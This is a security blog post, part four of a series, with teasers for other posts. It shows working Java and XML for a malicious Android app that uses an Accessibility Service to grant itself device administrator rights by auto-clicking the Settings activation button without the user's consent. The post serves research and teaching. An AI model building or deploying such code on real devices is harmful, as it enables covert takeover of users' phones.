Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
This last part about Android Accessibility Service presents the simplest application, and surely the most powerful one of the four. The goal is here to make the app an administrator of the device.
By “administrator”, I don’t mean “root”
The principle remains the same: the malicious app opens the Settings at a specific page, and forces the click on a widget. However, there is no need here to browse through the settings, and it makes the attack really fast, and even easier!
As the holy documentation says:
To use the Device Administration API, the app’s manifest must include the following:
- A subclass of DeviceAdminReceiver that includes the following:
- The BIND_DEVICE_ADMIN permission.
- The ability to respond to the ACTION_DEVICE_ADMIN_ENABLED intent, expressed in the manifest as an intent filter.
- A declaration of security policies used in metadata.
I created then a class named MyDeviceAdminReceiver
extending DeviceAdminReceiver
, and registered the <receiver>
in the Manifest. And as usual, there is also the custom
accessibility service:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="xyz.noname.spyapp">
<application
...<snipped/>...
<service android:name=".services.CustomAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/accessibility_config"/>
</service>
<receiver android:name=".services.MyDeviceAdminReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin"
android:resource="@xml/admin_config"/>
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
</intent-filter>
</receiver>
</application>
</manifest>
For the file accessibility_config
, nothing new:
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames="com.android.settings, xyz.noname.spyapp"
android:accessibilityEventTypes="typeWindowContentChanged"
android:accessibilityFeedbackType="feedbackAllMask"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:accessibilityFlags="flagReportViewIds"/>
We still listening for the typeWindowContentChanged
events, on Settings and the malicious app. As usual, I set canRetrieveWindowContent
to true
, and
added flagReportViewIds
in order to make it easier.
In the admin_config
, I only wrote:
<?xml version="1.0" encoding="utf-8"?>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<!--xxx-->
</uses-policies>
</device-admin>
The DeviceAdminReceiver
contains nothing except onReceive
, where I only print the action
. However, it could be very useful for an attacker, to launch to
attack as soon as the admin permission id granted:
public class MyDeviceAdminReceiver extends DeviceAdminReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.e("action", intent.getAction());
super.onReceive(context, intent);
}
}
A bunch of callback routines can be used to react depending on the action: onEnabled
, onDisable
, onDisableRequested
, onLockTaskModeEntering
etc.
In MainActivity
it’s also really simple: we check if the app is already an admin, and if it’s not the case and if the Accessibility Service in On, then
the Settings are open at the right page:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ComponentName componentName= new ComponentName(this, MyDeviceAdminReceiver.class);
DevicePolicyManager dmp = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
if (dmp != null && !dmp.isAdminActive(componentName) && Util.isAccessibilityServiceOn(this)) {
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, componentName);
startActivityForResult(intent, 1);
}
setContentView(R.layout.activity_main);
}
It’s normally possible to put an extra string explaining why this status is requested by the app, but it’s obviously not the goal in this case.
As the Settings opens at this specifig page, the only thing we have to do is to click on “Activate this device admin app”, and to quit. First thing I did was to get the id of this widget:
private static final String ACTIVATE_ADMIN = "com.android.settings:id/action_button";
and then, I used a boolean activate
which indicates if the user has landed here because of the malicious app or not. Not need here to recursively scan the page.
I used the routine findAccessibilityNodeInfosByViewId
which returns a list of widgets having the given id (I then assume that it’s the first one).
Then, a click is performed on this widget or on its parent.
private boolean activate;
@Override
public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
if (getApplication().getPackageName().equals(accessibilityEvent.getPackageName().toString())){
this.activate = true;
}
else{
if (!this.activate){
AccessibilityNodeInfo info = accessibilityEvent.getSource();
if (info != null){
List<AccessibilityNodeInfo> list = info.findAccessibilityNodeInfosByViewId(ACTIVATE_ADMIN);
if (list.size() > 0){
AccessibilityNodeInfo node = list.get(0);
if (node.isClickable()){
this.activate = node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
else{
AccessibilityNodeInfo parent = node.getParent();
while (parent != null && !parent.isClickable()){
parent = parent.getParent();
}
if (parent != null){
this.activate = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
}
}
}
}
}
}
Since there are only 2 apps registered in the config file, a simple if/else
is sufficient. As soon as the button is clicked, the DeviceAdminReceiver.onReceive
is called
and the malicious code can be triggered.
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...